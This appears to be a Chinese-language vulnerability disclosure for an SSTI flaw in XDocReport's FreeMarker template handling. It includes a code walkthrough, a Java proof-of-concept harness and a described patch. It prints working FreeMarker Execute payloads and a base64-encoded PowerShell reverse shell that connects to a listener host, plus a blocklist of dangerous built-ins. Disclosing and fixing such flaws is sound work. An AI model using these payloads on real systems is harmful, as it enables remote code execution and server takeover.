
CVE-2025-64087 (SSTI)
漏洞概述
服务器端模板注入 (SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到由内容管理系统 (CMS) 和 Web 框架使用的模板中,以实现远程攻击、获取敏感信息或执行系统入侵活动。
SSTI 是注入漏洞(如 SQL 注入、XSS 等)的一种变体,攻击者利用模板系统远程部署恶意代码。当 SSTI 攻击成功时,攻击者可以在服务器端执行自己的代码,从而实施远程攻击,如收集敏感信息、执行系统入侵活动以及访问未授权资源。
SSTI 漏洞通常是由于使用了不安全的模板系统,或者未能在将输入参数插入模板前对其进行验证和处理。如果 SSTI 攻击成功,后果可能非常严重,给受攻击组织造成重大损失。
业务影响
SSTI 漏洞可能引发多种严重后果,包括:
执行恶意代码:攻击者可利用此漏洞在服务器上执行恶意代码,从而窃取数据、执行非法操作,甚至完全控制服务器。
泄露敏感信息:SSTI 允许攻击者读取、修改或删除服务器上的文件。如果这些文件包含敏感信息(如账户和密码),攻击者可以轻易获取。
威胁或欺骗用户:攻击者可通过 SSTI 更改网站内容或添加伪造的自定义按钮来实施威胁或欺骗攻击。如果用户点击这些按钮,攻击者可能窃取用户信息或在用户计算机上安装恶意软件。
在 OpenSAGRES XDocReport 使用 FreeMarker 引擎处理 DOCX 模板时发现了一个服务器端模板注入 (SSTI) 漏洞。在某些配置下,恶意构造的模板可导致远程代码执行 (RCE)。
该人事管理网站允许用户上传 .docx 文档文件到系统。在处理过程中,应用程序使用 FreeMarker 模板引擎(位于 FreemarkerTemplateEngine.java 文件)来渲染内容 ${"freemarker.template.utility.Execute"?new()("whoami")},但没有对输入内容进行控制或过滤。
该漏洞允许攻击者将恶意表达式插入到 .docx 文件(模板)中,导致服务器端远程代码执行 (RCE),并可能被利用来窃取信息或控制系统。
fr.opensagres.xdocreport.template.freemarker — XDocReport(版本 1.0.0 至 2.1.0)。
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 中,没有对输入的 xdoc 文件内容进行检查。模板内容被直接加载并传递给 process(context, writer, template) 由 FreeMarker 引擎处理,没有任何沙箱机制或对指令/表达式的限制。结果,攻击者可以提供包含恶意 FreeMarker 表达式/命令的模板,从而导致远程代码执行 (RCE)。.docx 文件,其内部包含以下 payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 发现可以成功执行并打开 calc 应用

3. 类似地,使用 payload 获取系统上正在运行的用户信息:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx 文件返回了系统数据


6. 将影响提升至RCE
- 监听机器是wsl,IP地址为 `172.26.208.130`

- 使用以下Payload进行利用:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx 文件交给 xdocreport 处理xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 中添加以下内容我的修复方法仍然允许正常渲染对象和属性,如 ${cuong.name},仅阻止危险的 built-in 函数
${'freemarker.template.utility.Execute'?new()('calc')} - 被阻止 由 ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - 被阻止 由 setAPIBuiltinEnabled(false)?new() 和 ?api 的 payload 均被阻止Path: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
变更:
✅ 添加导入: java.util.regex.Pattern
✅ 添加方法 validateTemplateSecurity(Reader reader) — 验证危险模式
✅ 更新 processNoCache() — 在创建模板之前添加验证
✅ 更新 process(String templateName, …) — 为此方法添加验证
Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
变更:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder 等| File | 变更类型 | 目的 |
|---|---|---|
| FreemarkerTemplateEngine.java | 已修改 | 添加了 SSTI 保护 |
| FreemarkerTemplateEngineSecurityTestCase.java | 新文件 | 测试验证逻辑 |
在 2.2.0 补丁中,已启用保护机制并成功阻止 SSTI
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- 需要导入的库```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A 起点 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ source正是这个DOCX文件——如果文件由用户上传/写入,则内部的模板内容(FreeMarker语法)是不可信的数据。```
InputStream input = new FileInputStream(docxTemplate);
→ 读取文件内容以转发给 XDocReport。```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) 将解析 (parse) DOCX 文件,查找 DOCX 中的 entry/template,并创建一个 IXDocReport(在其内部,它将初始化 FreeMarker 的 Template 对象或为模板保留 reader)。
- DOCX 文件中的模板内容现在位于 report 对象中(尚未执行)。


zipInputStream.getNextEntry() 遍历 ZIP (.docx) 中的每个 entry(每个文件)。
archive = new XDocArchive(...) — 如果还没有 archive,则初始化一个对象来组织/注册文档的 entries。

总结:这段代码将 DOCX 内容解压缩到一个内部结构 (XDocArchive) 中,以便后续可以访问子文件 (document.xml, ...)。```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
总之,在 IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); 处没有 SSTI 检查机制,它仅加载 docx 中的 xml 文件并返回已准备好处理的 IXDocReport report(例如渲染、合并数据等)。
在 report.process(context, out); 处
深入研究此函数内部,它会调用 preprocess(...) 解析 XML,读取每个 XML 条目,然后解析 XML 内容并创建 BufferedDocument,再写入 Writer(这是经过初步处理的 XML 版本)。
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

然后它跳转到 `processNoCache()` 并调用 `getReader()`


`getReader()` 函数用于在整个模板周围添加转义指令包裹,以确保内容被安全处理(转义 HTML,防止注入)。

原始模板:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
在 getReader() 处理之后:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
它帮助Freemarker引擎更安全地读取:
- 保护XML:转义XML中的特殊字符
- 安全处理:避免Freemarker解析模板时出错
然后调用`FMParser`来解析Freemarker语法

最后进入`process()`调用`environment.process();`和数据读取器```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 这是最重要的步骤——实际渲染发生的地方。
getTemplate() 返回已解析的模板(AST)。
getRootTreeNode() 是 FMParser 在解析时创建的语法树的根节点。
visit() 是 FreeMarker 的核心 API,用于遍历和渲染模板的每个元素,并在 freemarker.core.Environment 中定义。
遇到 TextBlock → 将文本写入 out。
遇到 Interpolation(例如 ${user.name})→ 在 dataModel 中查找,获取值,写入 out。
遇到 #if、#list、#include、macro → 处理相应的逻辑。```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



它在 entryName `word/document.xml` 处触发

接下来跳转到 `accept()` 函数
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









在 `visit()` 函数中的执行流程如下```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **可利用的关键点总结**
| 阶段 | 类 | 作用 | SSTI 关联 |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | 加载模板 | 不受控输入 |
| `getReader()` | `TemplateEngine` | 读取模板数据 | 可能包含 payload |
| `FMParser` | `freemarker.core` | 解析内容 | 变量 `${}` 被解析 |
| `Environment.process()` | `freemarker.core` | 渲染模板 | 对每个节点调用 `visit()` |
| `visit()` / `eval()` | `freemarker.core` | 执行表达式 | **SSTI / RCE 点** |
---
## 文档
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
| 步骤 | 操作 | 目的 |
|---|
| 1 | 读取 DOCX 文件 | 获取原始报告结构 |
| 2 | 创建 IXDocReport | 代表模板 |
| 3 | 分配 ID | 唯一管理 |
| 4 | 选择模板引擎 | 处理表达式 (Freemarker/Velocity) |
| 5 | 如果需要则缓存 | 优化性能 |
| 6 | 返回 report | 用于渲染结果文件 |